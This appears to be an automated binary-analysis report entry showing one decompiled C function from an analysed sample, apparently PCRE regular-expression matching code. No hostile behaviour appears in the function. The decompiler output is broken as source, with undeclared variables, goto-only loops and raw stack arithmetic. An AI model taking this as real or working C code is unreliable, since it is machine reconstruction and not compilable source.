                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMONCrypto
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 70%
                                                                                                                                                                            			E00446566(signed int __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t296;
				signed int _t302;
				signed char _t303;
				signed int _t309;
				signed int _t310;
				signed int _t330;
				signed int _t331;
				signed int _t334;
				unsigned int _t335;
				signed int _t336;
				signed int _t337;
				signed short _t345;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				signed int _t366;
				signed int _t367;
				int _t373;
				signed int _t379;
				signed int _t380;
				signed char* _t384;
				intOrPtr _t385;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				intOrPtr* _t390;
				signed int _t393;
				intOrPtr* _t395;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				unsigned int _t400;
				signed int _t402;
				signed int _t410;
				signed int _t411;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t417;
				signed int _t422;
				signed int _t430;
				signed int _t433;
				signed int _t434;
				signed int _t440;
				signed int _t449;
				signed int _t459;
				signed int _t460;
				signed int _t461;
				signed int _t463;
				signed int _t464;
				void* _t469;
				signed int _t477;
				signed int _t478;
				signed int _t482;
				signed int _t486;
				signed int _t487;
				void* _t489;
				intOrPtr* _t490;
				signed int _t491;
				signed int _t495;
				signed int _t501;
				signed int _t503;
				signed int _t507;
				signed int _t508;
				signed int _t509;
				signed int _t511;
				signed int _t513;
				signed int _t516;
				signed int _t520;
				signed int _t525;
				signed int _t530;
				unsigned int _t545;
				signed int _t555;
				void* _t556;
				signed int _t557;
				signed int* _t563;
				signed int _t564;
				signed int _t575;
				signed int _t580;
				signed int _t584;
				signed char* _t596;
				void* _t611;

				_t449 =  *(_t611 + 0x138);
				_t495 =  *(_t611 + 0x14c);
				_t296 = __eax | 0xffffffff;
				_t430 =  *(_t611 + 0x148);
				 *(_t611 + 0x14) = _t296;
				 *(_t611 + 0x24) = _t296;
				 *(_t611 + 0x2c) = _t296;
				_t575 =  *(_t611 + 0x140);
				_t596 = _t449 +  *(_t611 + 0x148);
				 *(_t611 + 0x28) = 0;
				 *(_t611 + 0x20) = 0;
				 *(_t611 + 0x3c) = 0;
				 *(_t611 + 0x24) = 0;
				 *((intOrPtr*)(_t611 + 0x38)) = _t596 - 1;
				if((_t430 & 0xe20f5a6f) == 0) {
					__eflags = _t575;
					if(_t575 == 0) {
						L226:
						return 0xfffffffe;
					} else {
						__eflags = _t449;
						if(_t449 == 0) {
							goto L226;
						} else {
							__eflags =  *(_t611 + 0x158);
							if( *(_t611 + 0x158) != 0) {
								L6:
								__eflags = _t495;
								if(_t495 >= 0) {
									 *(_t611 + 0x6c) =  *(_t575 + 0x1a) & 0x0000ffff;
									 *((intOrPtr*)(_t611 + 0x4c)) = 0x989680;
									 *((intOrPtr*)(_t611 + 0x50)) = 0x989680;
									_t302 =  *(_t575 + 0x20);
									 *((intOrPtr*)(_t611 + 0x70)) = ( *(_t575 + 0x18) & 0x0000ffff) + _t575;
									 *(_t611 + 0x68) =  *(_t575 + 0x1c) & 0x0000ffff;
									 *((intOrPtr*)(_t611 + 0xdc)) = 0;
									 *(_t611 + 0x10) = _t302;
									__eflags = _t302;
									if(_t302 == 0) {
										 *(_t611 + 0x10) = 0x486098;
									}
									__eflags =  *_t575 - 0x50435245;
									if(__eflags == 0) {
										L13:
										_t303 =  *(_t575 + 8);
										 *(_t611 + 0x30) = _t303 >> 0x00000012 & 0x00000001;
										 *((intOrPtr*)(_t611 + 0xa8)) = ( *(_t575 + 0x18) & 0x0000ffff) + ( *(_t575 + 0x1c) & 0x0000ffff) * ( *(_t575 + 0x1a) & 0x0000ffff) +  *((intOrPtr*)(_t611 + 0x144));
										_t309 =  *(_t611 + 0x148);
										 *(_t611 + 0xac) = _t309;
										_t310 = _t309 +  *(_t611 + 0x14c);
										 *(_t611 + 0xb0) = _t310;
										 *(_t611 + 0x44) = _t310;
										 *(_t611 + 0xe0) = ( *(_t575 + 0xc) & 0x000000ff) >> 0x00000003 & 0x00000001;
										 *(_t611 + 0xcc) =  *(_t611 + 0x150);
										 *(_t611 + 0x94) = ( *(_t575 + 8) & 0x000000ff) >> 0x00000005 & 0x00000001;
										_t459 =  *(_t575 + 8) >> 0x0000000b & 0x00000001;
										 *(_t611 + 0x8c) = _t459;
										 *(_t611 + 0x90) =  *(_t575 + 8) >> 0x00000019 & 0x00000001;
										_t555 = (_t430 & 0x000000ff | _t303 & 0x000000ff) >> 0x00000004 & 0x00000001;
										__eflags = _t430 & 0x00000080;
										 *(_t611 + 0xe8) = _t555;
										 *(_t611 + 0x14) = _t459;
										 *(_t611 + 0x84) = 0 | (_t430 & 0x00000080) != 0x00000000;
										 *(_t611 + 0x88) = _t430 >> 0x00000008 & 0x00000001;
										 *(_t611 + 0x98) = _t430 >> 0x0000000a & 0x00000001;
										 *(_t611 + 0x9c) = _t430 >> 0x0000001c & 0x00000001;
										__eflags = _t430 & 0x08000000;
										if((_t430 & 0x08000000) == 0) {
											_t330 = _t430 >> 0x0000000f & 0x00000001;
											__eflags = _t330;
										} else {
											_t330 = 2;
										}
										 *(_t611 + 0xc0) = _t330;
										_t331 =  *(_t611 + 0x10);
										 *(_t611 + 0x78) = _t331;
										 *((intOrPtr*)(_t611 + 0x7c)) = _t331 + 0x340;
										_t501 = 0;
										_t334 = _t430 & 0x01800000;
										__eflags = _t334;
										 *(_t611 + 0xa0) = 0;
										 *(_t611 + 0xd8) = 0;
										if(_t334 == 0) {
											_t335 =  *(_t575 + 8);
											__eflags = _t335 & 0x01800000;
											if((_t335 & 0x01800000) == 0) {
												goto L23;
											} else {
												 *(_t611 + 0xa4) = _t335 >> 0x00000017 & 0x00000001;
											}
											goto L24;
										} else {
											__eflags = _t334 - 0x800000;
											if(_t334 == 0x800000) {
												 *(_t611 + 0xa4) = 1;
												L24:
												__eflags = _t430 & 0x00700000;
												if((_t430 & 0x00700000) != 0) {
													_t336 = _t430;
												} else {
													_t336 =  *(_t575 + 8);
												}
												_t337 = _t336 & 0x00700000;
												__eflags = _t337 - 0x300000;
												if(__eflags > 0) {
													__eflags = _t337 - 0x400000;
													if(_t337 == 0x400000) {
														 *(_t611 + 0x60) = 1;
														goto L42;
													} else {
														__eflags = _t337 - 0x500000;
														if(_t337 != 0x500000) {
															goto L19;
														} else {
															 *(_t611 + 0x60) = 2;
															goto L42;
														}
													}
												} else {
													if(__eflags == 0) {
														_t422 = 0xd0a;
														L33:
														__eflags = _t422 - 0xff;
														 *(_t611 + 0x60) = _t501;
														if(_t422 <= 0xff) {
															 *(_t611 + 0x64) = 1;
															 *(_t611 + 0x74) = _t422;
														} else {
															 *(_t611 + 0x74) = _t422 >> 8;
															 *(_t611 + 0x64) = 2;
															 *(_t611 + 0x75) = _t422;
															_t501 = 0;
														}
														L42:
														__eflags =  *(_t611 + 0xc0) - _t501;
														if( *(_t611 + 0xc0) == _t501) {
															L45:
															__eflags = _t459 - _t501;
															if(_t459 == _t501) {
																L55:
																 *(_t611 + 0xe4) =  *(_t575 + 8) & 0x00000007;
																_t503 = (0x55555556 *  *(_t611 + 0x15c) >> 0x20 >> 0x1f) + (0x55555556 *  *(_t611 + 0x15c) >> 0x20) + ((0x55555556 *  *(_t611 + 0x15c) >> 0x20 >> 0x1f) + (0x55555556 *  *(_t611 + 0x15c) >> 0x20)) * 2;
																_t345 =  *(_t575 + 0x12) & 0x0000ffff;
																 *(_t611 + 0x18) = _t503;
																__eflags = _t345;
																if(_t345 <= 0) {
																	L60:
																	 *(_t611 + 0x54) =  *(_t611 + 0x158);
																	goto L61;
																} else {
																	_t491 = _t345 & 0x0000ffff;
																	_t545 = 0x55555556 * _t503 >> 0x20;
																	__eflags = _t491 - (_t545 >> 0x1f) + _t545;
																	if(_t491 < (_t545 >> 0x1f) + _t545) {
																		goto L60;
																	} else {
																		_t118 = _t491 * 2; // 0x13
																		_t410 = _t491 + _t118 + 3;
																		 *(_t611 + 0x1c) = _t410;
																		_t411 =  *0x491670(_t410 * 4);
																		_t611 = _t611 + 4;
																		 *(_t611 + 0x54) = _t411;
																		__eflags = _t411;
																		if(_t411 != 0) {
																			 *(_t611 + 0x28) = 1;
																			L61:
																			_t460 =  *(_t611 + 0x18);
																			 *((intOrPtr*)(_t611 + 0x5c)) = (0x55555556 * (_t460 + _t460) >> 0x20 >> 0x1f) + (0x55555556 * (_t460 + _t460) >> 0x20);
																			 *(_t611 + 0x58) = _t460;
																			 *(_t611 + 0x80) = 0;
																			 *((intOrPtr*)(_t611 + 0xc8)) = 0xffffffff;
																			_t352 = ( *(_t575 + 0x10) & 0x0000ffff) + ( *(_t575 + 0x10) & 0x0000ffff) + 2;
																			__eflags = _t352 -  *(_t611 + 0x15c);
																			 *(_t611 + 0x18) = _t352;
																			if(_t352 >  *(_t611 + 0x15c)) {
																				_t352 = _t460;
																				 *(_t611 + 0x18) = _t460;
																			}
																			_t507 =  *(_t611 + 0x54);
																			__eflags = _t507;
																			if(_t507 != 0) {
																				_t489 = _t507 + _t460 * 4;
																				asm("cdq");
																				_t352 = _t489 + (1 - (_t352 - _t507 >> 1)) * 4;
																				_t490 = _t489 - 4;
																				__eflags = _t490 - _t352;
																				while(_t490 >= _t352) {
																					 *_t490 = 0xffffffff;
																					_t490 = _t490 - 4;
																					__eflags = _t490 - _t352;
																				}
																			}
																			__eflags = _t555;
																			if(_t555 == 0) {
																				__eflags =  *(_t575 + 0xc) & 0x00000002;
																				if(( *(_t575 + 0xc) & 0x00000002) != 0) {
																					_t352 =  *(_t575 + 0x14) & 0x0000ffff;
																					_t487 = _t352 & 0x000000ff;
																					 *(_t611 + 0x1c) = _t487;
																					__eflags = _t352 & 0x00000100;
																					if((_t352 & 0x00000100) == 0) {
																						 *(_t611 + 0x20) = 0;
																					} else {
																						_t352 =  *(_t611 + 0x78);
																						 *(_t611 + 0x20) = 1;
																						 *(_t611 + 0x1c) =  *(_t352 + _t487) & 0x000000ff;
																					}
																				}
																			}
																			__eflags =  *(_t575 + 0xc) & 0x00000004;
																			if(( *(_t575 + 0xc) & 0x00000004) != 0) {
																				_t400 =  *(_t575 + 0x16) & 0x0000ffff;
																				_t486 = _t400 & 0x000000ff;
																				_t402 = _t400 >> 0x00000008 & 0x00000001;
																				__eflags = _t402;
																				 *(_t611 + 0x3c) = _t402;
																				_t352 =  *( *(_t611 + 0x10) + _t486 + 0x100) & 0x000000ff;
																				 *(_t611 + 0x2c) = _t486;
																				 *(_t611 + 0x34) = _t352;
																			}
																			 *(_t611 + 0x40) = _t430 & 0x04000000;
																			while(1) {
																				L74:
																				_t556 =  *(_t611 + 0x54);
																				_t433 =  *(_t611 + 0x44);
																				 *(_t611 + 0x10) = _t433;
																				__eflags = _t556;
																				if(_t556 != 0) {
																					_t469 = _t556 +  *(_t611 + 0x18) * 4;
																					__eflags = _t556 - _t469;
																					if(_t556 < _t469) {
																						_t373 = _t352 | 0xffffffff;
																						__eflags = _t373;
																						memset(_t556, _t373, (_t469 - _t556 - 1 >> 2) + 1 << 2);
																						_t611 = _t611 + 0xc;
																					}
																				}
																				__eflags =  *(_t611 + 0x30);
																				_t353 =  *(_t611 + 0xb0);
																				_t461 =  *(_t611 + 0x64);
																				if( *(_t611 + 0x30) != 0) {
																				}
																				L78:
																				__eflags =  *(_t611 + 0x14);
																				_t564 = _t596;
																				if( *(_t611 + 0x14) == 0) {
																					__eflags = _t596 - _t353;
																					if(_t596 < _t353) {
																						do {
																							_t525 =  *(_t611 + 0x60);
																							__eflags = _t525;
																							if(_t525 == 0) {
																								__eflags = _t564 - _t353 - _t461;
																								if(_t564 > _t353 - _t461) {
																									goto L102;
																								} else {
																									__eflags =  *_t564 -  *(_t611 + 0x74);
																									if( *_t564 !=  *(_t611 + 0x74)) {
																										goto L102;
																									} else {
																										__eflags = _t461 - 1;
																										if(_t461 != 1) {
																											__eflags =  *(_t564 + 1) -  *(_t611 + 0x75);
																											if( *(_t564 + 1) !=  *(_t611 + 0x75)) {
																												goto L102;
																											}
																										}
																									}
																								}
																							} else {
																								_t398 = E0043200A(_t564, _t525, _t353, _t611 + 0x68, 0);
																								_t461 =  *(_t611 + 0x78);
																								_t611 = _t611 + 0x14;
																								__eflags = _t398;
																								if(_t398 == 0) {
																									_t353 =  *(_t611 + 0xb0);
																									goto L102;
																								}
																							}
																							goto L103;
																							L102:
																							_t564 = _t564 + 1;
																							__eflags = _t564 - _t353;
																						} while (_t564 < _t353);
																					}
																				} else {
																					__eflags = _t596 - _t353;
																					if(_t596 < _t353) {
																						do {
																							_t530 =  *(_t611 + 0x60);
																							__eflags = _t530;
																							if(_t530 == 0) {
																								__eflags = _t564 - _t353 - _t461;
																								if(_t564 > _t353 - _t461) {
																									goto L88;
																								} else {
																									__eflags =  *_t564 -  *(_t611 + 0x74);
																									if( *_t564 !=  *(_t611 + 0x74)) {
																										goto L88;
																									} else {
																										__eflags = _t461 - 1;
																										if(_t461 != 1) {
																											__eflags =  *(_t564 + 1) -  *(_t611 + 0x75);
																											if( *(_t564 + 1) !=  *(_t611 + 0x75)) {
																												goto L88;
																											}
																										}
																									}
																								}
																							} else {
																								_t399 = E0043200A(_t564, _t530, _t353, _t611 + 0x68,  *(_t611 + 0x14));
																								_t461 =  *(_t611 + 0x78);
																								_t611 = _t611 + 0x14;
																								__eflags = _t399;
																								if(_t399 == 0) {
																									_t353 =  *(_t611 + 0xb0);
																									L88:
																									_t564 = _t564 + 1;
																									__eflags = _t564 - _t433;
																									if(_t564 < _t433) {
																										while(1) {
																											__eflags = ( *_t564 & 0x000000c0) - 0x80;
																											if(( *_t564 & 0x000000c0) != 0x80) {
																												goto L91;
																											}
																											_t564 = _t564 + 1;
																											__eflags = _t564 - _t433;
																											if(_t564 < _t433) {
																												continue;
																											}
																											goto L91;
																										}
																									}
																									goto L91;
																								}
																							}
																							goto L103;
																							L91:
																							__eflags = _t564 - _t353;
																						} while (_t564 < _t353);
																					}
																				}
																				L103:
																				_t433 = _t564;
																				L104:
																				__eflags =  *(_t611 + 0x40);
																				_t557 =  *(_t611 + 0x1c);
																				if( *(_t611 + 0x40) == 0) {
																					__eflags = _t557;
																					if(_t557 < 0) {
																						__eflags =  *(_t611 + 0xe0);
																						if( *(_t611 + 0xe0) != 0) {
																							_t386 =  *(_t611 + 0xac);
																							__eflags = _t596 -  *(_t611 + 0x150) + _t386;
																							if(_t596 >  *(_t611 + 0x150) + _t386) {
																								__eflags =  *(_t611 + 0x14);
																								if( *(_t611 + 0x14) == 0) {
																									__eflags = _t596 - _t433;
																									if(_t596 < _t433) {
																										while(1) {
																											_t516 =  *(_t611 + 0x60);
																											__eflags = _t516;
																											if(_t516 == 0) {
																												goto L143;
																											}
																											L140:
																											__eflags = _t596 - _t386;
																											if(_t596 <= _t386) {
																												L147:
																												_t596 =  &(_t596[1]);
																												__eflags = _t596 - _t433;
																												if(_t596 < _t433) {
																													_t386 =  *(_t611 + 0xac);
																													_t516 =  *(_t611 + 0x60);
																													__eflags = _t516;
																													if(_t516 == 0) {
																														goto L143;
																													}
																												}
																											} else {
																												_t388 = E00431EB9(_t596, _t516, _t386, _t611 + 0x68, 0);
																												_t611 = _t611 + 0x14;
																												__eflags = _t388;
																												if(_t388 == 0) {
																													_t461 =  *(_t611 + 0x64);
																													goto L147;
																												}
																											}
																											goto L148;
																											L143:
																											__eflags = _t596 - _t461 + _t386;
																											if(_t596 < _t461 + _t386) {
																												goto L147;
																											} else {
																												_t390 = _t596 - _t461;
																												__eflags =  *_t390 -  *(_t611 + 0x74);
																												if( *_t390 !=  *(_t611 + 0x74)) {
																													goto L147;
																												} else {
																													__eflags = _t461 - 1;
																													if(_t461 != 1) {
																														__eflags =  *((intOrPtr*)(_t390 + 1)) -  *(_t611 + 0x75);
																														if( *((intOrPtr*)(_t390 + 1)) !=  *(_t611 + 0x75)) {
																															goto L147;
																														}
																													}
																												}
																											}
																											goto L148;
																										}
																									}
																								} else {
																									__eflags = _t596 - _t433;
																									if(_t596 < _t433) {
																										while(1) {
																											_t520 =  *(_t611 + 0x60);
																											__eflags = _t520;
																											if(_t520 == 0) {
																												goto L126;
																											}
																											L123:
																											__eflags = _t596 - _t386;
																											if(_t596 <= _t386) {
																												L130:
																												_t596 =  &(_t596[1]);
																												__eflags = _t596 - _t433;
																												if(_t596 < _t433) {
																													while(1) {
																														__eflags = ( *_t596 & 0x000000c0) - 0x80;
																														if(( *_t596 & 0x000000c0) != 0x80) {
																															break;
																														}
																														_t596 =  &(_t596[1]);
																														__eflags = _t596 - _t433;
																														if(_t596 < _t433) {
																															continue;
																														} else {
																														}
																														goto L148;
																													}
																													__eflags = _t596 - _t433;
																													if(_t596 < _t433) {
																														_t386 =  *(_t611 + 0xac);
																														_t520 =  *(_t611 + 0x60);
																														__eflags = _t520;
																														if(_t520 == 0) {
																															goto L126;
																														}
																													} else {
																													}
																												}
																											} else {
																												_t393 = E00431EB9(_t596, _t520, _t386, _t611 + 0x68,  *(_t611 + 0x14));
																												_t611 = _t611 + 0x14;
																												__eflags = _t393;
																												if(_t393 == 0) {
																													_t461 =  *(_t611 + 0x64);
																													goto L130;
																												}
																											}
																											goto L148;
																											L126:
																											__eflags = _t596 - _t461 + _t386;
																											if(_t596 < _t461 + _t386) {
																												goto L130;
																											} else {
																												_t395 = _t596 - _t461;
																												__eflags =  *_t395 -  *(_t611 + 0x74);
																												if( *_t395 !=  *(_t611 + 0x74)) {
																													goto L130;
																												} else {
																													__eflags = _t461 - 1;
																													if(_t461 != 1) {
																														__eflags =  *((intOrPtr*)(_t395 + 1)) -  *(_t611 + 0x75);
																														if( *((intOrPtr*)(_t395 + 1)) !=  *(_t611 + 0x75)) {
																															goto L130;
																														}
																													}
																												}
																											}
																											goto L148;
																										}
																									}
																								}
																								L148:
																								__eflags =  *((char*)(_t596 - 1)) - 0xd;
																								if( *((char*)(_t596 - 1)) == 0xd) {
																									_t387 =  *(_t611 + 0x60);
																									__eflags = _t387 - 1;
																									if(_t387 == 1) {
																										L151:
																										__eflags = _t596 - _t433;
																										if(_t596 < _t433) {
																											__eflags =  *_t596 - 0xa;
																											if( *_t596 == 0xa) {
																												_t596 =  &(_t596[1]);
																											}
																										}
																									} else {
																										__eflags = _t387 - 2;
																										if(_t387 == 2) {
																											goto L151;
																										}
																									}
																								}
																							}
																						}
																					} else {
																						__eflags =  *(_t611 + 0x20);
																						if( *(_t611 + 0x20) == 0) {
																							__eflags = _t596 - _t433;
																							if(_t596 < _t433) {
																								while(1) {
																									__eflags = ( *_t596 & 0x000000ff) - _t557;
																									if(( *_t596 & 0x000000ff) == _t557) {
																										goto L154;
																									}
																									_t596 =  &(_t596[1]);
																									__eflags = _t596 - _t433;
																									if(_t596 < _t433) {
																										continue;
																									} else {
																									}
																									goto L154;
																								}
																							}
																						} else {
																							__eflags = _t596 - _t433;
																							if(_t596 < _t433) {
																								while(1) {
																									_t397 =  *_t596 & 0x000000ff;
																									_t482 =  *(_t611 + 0x78);
																									__eflags = ( *(_t397 + _t482) & 0x000000ff) - _t557;
																									if(( *(_t397 + _t482) & 0x000000ff) == _t557) {
																										goto L154;
																									}
																									_t596 =  &(_t596[1]);
																									__eflags = _t596 - _t433;
																									if(_t596 < _t433) {
																										continue;
																									} else {
																									}
																									goto L154;
																								}
																							}
																						}
																					}
																				}
																				L154:
																				__eflags =  *(_t611 + 0x40);
																				_t354 =  *(_t611 + 0x10);
																				 *(_t611 + 0x44) = _t354;
																				if( *(_t611 + 0x40) != 0) {
																					L176:
																					_t508 =  *(_t611 + 0xe4);
																					_push(0);
																					_push(0);
																					_push(0);
																					_push(_t508);
																					_push(_t611 + 0x58);
																					_push(2);
																					_push(_t596);
																					_push( *((intOrPtr*)(_t611 + 0xa8)));
																					_push(_t596);
																					 *(_t611 + 0xd8) = _t596;
																					 *(_t611 + 0xe0) = _t596;
																					 *(_t611 + 0x6c) = 0;
																					_t356 = E00439699();
																					_t611 = _t611 + 0x24;
																					__eflags =  *(_t611 + 0xa0);
																					_t434 = _t356;
																					if( *(_t611 + 0xa0) != 0) {
																						__eflags =  *(_t611 + 0x24);
																						if( *(_t611 + 0x24) == 0) {
																							_t508 =  *(_t611 + 0xbc);
																							 *(_t611 + 0x24) = _t508;
																						}
																					}
																					__eflags = _t434;
																					if(__eflags > 0) {
																						L208:
																						__eflags = _t434 - 1;
																						if(_t434 != 1) {
																							goto L165;
																						} else {
																							__eflags =  *(_t611 + 0x28);
																							_t580 =  *(_t611 + 0x15c);
																							if( *(_t611 + 0x28) != 0) {
																								__eflags = _t580 - 4;
																								if(_t580 >= 4) {
																									_t508 =  *(_t611 + 0x54) + 8;
																									__eflags =  *(_t611 + 0x158) + 8;
																									E00410F70(_t434, _t557, _t580,  *(_t611 + 0x158) + 8, _t508, _t580 * 4 - 8);
																									_t611 = _t611 + 0xc;
																								}
																								__eflags =  *((intOrPtr*)(_t611 + 0xc4)) - _t580;
																								if( *((intOrPtr*)(_t611 + 0xc4)) > _t580) {
																									 *(_t611 + 0x80) = 1;
																								}
																								 *0x491674( *(_t611 + 0x54));
																								_t611 = _t611 + 4;
																							}
																							__eflags =  *(_t611 + 0x80);
																							if( *(_t611 + 0x80) == 0) {
																								asm("cdq");
																								_t366 =  *((intOrPtr*)(_t611 + 0xc4)) - _t508;
																								__eflags = _t366;
																								_t367 = _t366 >> 1;
																							} else {
																								_t367 = 0;
																							}
																							__eflags = _t580 - 2;
																							if(_t580 >= 2) {
																								_t464 =  *(_t611 + 0xac);
																								_t511 =  *(_t611 + 0x158);
																								 *_t511 =  *(_t611 + 0xb4) - _t464;
																								_t584 =  *((intOrPtr*)(_t611 + 0xb8)) - _t464;
																								__eflags = _t584;
																								 *(_t511 + 4) = _t584;
																								return _t367;
																							} else {
																								__eflags = 0;
																								return 0;
																							}
																						}
																					} else {
																						if(__eflags == 0) {
																							L184:
																							__eflags =  *(_t611 + 0x14);
																							_t252 =  &(_t596[1]); // 0xf
																							_t563 = _t252;
																							if( *(_t611 + 0x14) != 0) {
																								_t379 =  *(_t611 + 0x10);
																								__eflags = _t563 - _t379;
																								if(_t563 < _t379) {
																									while(1) {
																										__eflags = ( *_t563 & 0x000000c0) - 0x80;
																										if(( *_t563 & 0x000000c0) != 0x80) {
																											goto L189;
																										}
																										_t563 =  &(_t563[0]);
																										__eflags = _t563 - _t379;
																										if(_t563 < _t379) {
																											continue;
																										}
																										goto L189;
																									}
																								}
																							}
																							goto L189;
																						} else {
																							_t247 = _t434 + 0x3e7; // 0x3e7
																							_t380 = _t247;
																							__eflags = _t380 - 3;
																							if(_t380 > 3) {
																								goto L208;
																							} else {
																								switch( *((intOrPtr*)(_t380 * 4 +  &M004470BE))) {
																									case 0:
																										goto L164;
																									case 1:
																										goto L184;
																									case 2:
																										_t563 =  *(_t611 + 0xb4);
																										L189:
																										_t467 =  *(_t611 + 0x60);
																										_t434 = 0;
																										__eflags =  *(_t611 + 0x30);
																										if( *(_t611 + 0x30) == 0) {
																											L198:
																											__eflags =  *(_t611 + 0xe8);
																											_t596 = _t563;
																											if( *(_t611 + 0xe8) != 0) {
																												goto L165;
																											} else {
																												_t352 =  *(_t611 + 0x10);
																												__eflags = _t563 - _t352;
																												if(_t563 > _t352) {
																													goto L165;
																												} else {
																													L200:
																													__eflags =  *((char*)(_t563 - 1)) - 0xd;
																													if( *((char*)(_t563 - 1)) != 0xd) {
																														L74:
																														_t556 =  *(_t611 + 0x54);
																														_t433 =  *(_t611 + 0x44);
																														 *(_t611 + 0x10) = _t433;
																														__eflags = _t556;
																														if(_t556 != 0) {
																															_t469 = _t556 +  *(_t611 + 0x18) * 4;
																															__eflags = _t556 - _t469;
																															if(_t556 < _t469) {
																																_t373 = _t352 | 0xffffffff;
																																__eflags = _t373;
																																memset(_t556, _t373, (_t469 - _t556 - 1 >> 2) + 1 << 2);
																																_t611 = _t611 + 0xc;
																															}
																														}
																														__eflags =  *(_t611 + 0x30);
																														_t353 =  *(_t611 + 0xb0);
																														_t461 =  *(_t611 + 0x64);
																														if( *(_t611 + 0x30) != 0) {
																														}
																														goto L104;
																													} else {
																														L201:
																														__eflags = _t563 - _t352;
																														if(_t563 >= _t352) {
																															goto L74;
																														} else {
																															L202:
																															__eflags =  *_t563 - 0xa;
																															if( *_t563 != 0xa) {
																																goto L74;
																															} else {
																																L203:
																																__eflags =  *(_t575 + 0xc) & 0x00000020;
																																if(( *(_t575 + 0xc) & 0x00000020) != 0) {
																																	goto L74;
																																} else {
																																	L204:
																																	__eflags = _t467 - 1;
																																	if(_t467 == 1) {
																																		L207:
																																		_t272 =  &(_t563[0]); // 0x11
																																		_t596 = _t272;
																																		goto L74;
																																	} else {
																																		_t352 = 2;
																																		__eflags = _t467 - 2;
																																		if(_t467 != 2) {
																																			L206:
																																			__eflags =  *(_t611 + 0x64) - 2;
																																			if( *(_t611 + 0x64) != 2) {
																																				goto L74;
																																				do {
																																					do {
																																						do {
																																							do {
																																								do {
																																									goto L74;
																																								} while ( *((char*)(_t563 - 1)) != 0xd);
																																								goto L201;
																																							} while (_t563 >= _t352);
																																							goto L202;
																																						} while ( *_t563 != 0xa);
																																						goto L203;
																																					} while (( *(_t575 + 0xc) & 0x00000020) != 0);
																																					goto L204;
																																				} while ( *(_t611 + 0x64) != 2);
																																			}
																																		}
																																		goto L207;
																																	}
																																}
																															}
																														}
																													}
																													goto L154;
																												}
																											}
																										} else {
																											__eflags = _t467;
																											if(_t467 == 0) {
																												_t375 =  *(_t611 + 0x64);
																												__eflags = _t596 -  *(_t611 + 0xb0) - _t375;
																												if(_t596 >  *(_t611 + 0xb0) - _t375) {
																													goto L198;
																												} else {
																													__eflags =  *_t596 -  *(_t611 + 0x74);
																													if( *_t596 !=  *(_t611 + 0x74)) {
																														goto L198;
																													} else {
																														__eflags = _t375 - 1;
																														if(_t375 == 1) {
																															goto L165;
																														} else {
																															__eflags = _t596[1] -  *(_t611 + 0x75);
																															if(_t596[1] ==  *(_t611 + 0x75)) {
																																goto L165;
																															} else {
																																goto L198;
																															}
																														}
																													}
																												}
																											} else {
																												_t377 =  *(_t611 + 0xb0);
																												__eflags = _t596 - _t377;
																												if(_t596 >= _t377) {
																													goto L198;
																												} else {
																													_t378 = E0043200A(_t596, _t467, _t377, _t611 + 0x68,  *(_t611 + 0x14));
																													_t611 = _t611 + 0x14;
																													__eflags = _t378;
																													if(_t378 != 0) {
																														goto L165;
																													} else {
																														_t467 =  *(_t611 + 0x60);
																														goto L198;
																													}
																												}
																											}
																										}
																										goto L227;
																								}
																							}
																						}
																					}
																				} else {
																					__eflags =  *(_t611 + 0xc0);
																					if( *(_t611 + 0xc0) != 0) {
																						goto L176;
																					} else {
																						_t513 =  *(_t611 + 0x2c);
																						__eflags = _t513;
																						if(_t513 < 0) {
																							goto L176;
																						} else {
																							_t440 = _t354;
																							__eflags = _t354 - _t596 - 0x3e8;
																							if(_t354 - _t596 >= 0x3e8) {
																								goto L176;
																							} else {
																								__eflags = _t557;
																								_t384 =  &(_t596[0 | _t557 >= 0x00000000]);
																								__eflags = _t384 -  *((intOrPtr*)(_t611 + 0x38));
																								if(_t384 <=  *((intOrPtr*)(_t611 + 0x38))) {
																									goto L176;
																								} else {
																									__eflags =  *(_t611 + 0x3c);
																									if( *(_t611 + 0x3c) == 0) {
																										__eflags = _t384 - _t440;
																										if(_t384 >= _t440) {
																											goto L164;
																										} else {
																											while(1) {
																												_t477 =  *_t384 & 0x000000ff;
																												_t384 =  &(_t384[1]);
																												__eflags = _t477 - _t513;
																												if(_t477 == _t513) {
																													goto L174;
																												}
																												__eflags = _t384 - _t440;
																												if(_t384 < _t440) {
																													continue;
																												} else {
																													goto L164;
																												}
																												goto L227;
																											}
																											goto L174;
																										}
																									} else {
																										__eflags = _t384 - _t440;
																										if(_t384 >= _t440) {
																											L164:
																											_t434 = 0;
																											__eflags = 0;
																											L165:
																											__eflags =  *(_t611 + 0x28);
																											if( *(_t611 + 0x28) != 0) {
																												 *0x491674( *(_t611 + 0x54));
																												_t611 = _t611 + 4;
																											}
																											__eflags = _t434;
																											if(_t434 == 0) {
																												L221:
																												_t357 =  *(_t611 + 0x24);
																												__eflags = _t357;
																												if(_t357 == 0) {
																													_t358 = _t357 | 0xffffffff;
																													__eflags = _t358;
																													return _t358;
																												} else {
																													__eflags =  *(_t611 + 0x15c) - 1;
																													if( *(_t611 + 0x15c) > 1) {
																														_t509 =  *(_t611 + 0x148);
																														_t463 =  *(_t611 + 0x158);
																														 *_t463 = _t357 - _t509;
																														_t362 =  *(_t611 + 0x10) - _t509;
																														__eflags = _t362;
																														 *(_t463 + 4) = _t362;
																													}
																													return 0xfffffff4;
																												}
																											} else {
																												__eflags = _t434 - 0xfffffff4;
																												if(_t434 == 0xfffffff4) {
																													goto L221;
																												} else {
																													return _t434;
																												}
																											}
																										} else {
																											while(1) {
																												_t478 =  *_t384 & 0x000000ff;
																												_t384 =  &(_t384[1]);
																												__eflags = _t478 - _t513;
																												if(_t478 == _t513) {
																													break;
																												}
																												__eflags = _t478 -  *(_t611 + 0x34);
																												if(_t478 ==  *(_t611 + 0x34)) {
																													break;
																												} else {
																													__eflags = _t384 - _t440;
																													if(_t384 < _t440) {
																														continue;
																													} else {
																														goto L164;
																													}
																												}
																												goto L227;
																											}
																											L174:
																											_t385 = _t384 - 1;
																											__eflags = _t385 - _t440;
																											if(_t385 >= _t440) {
																												goto L164;
																											} else {
																												 *((intOrPtr*)(_t611 + 0x38)) = _t385;
																												goto L176;
																											}
																										}
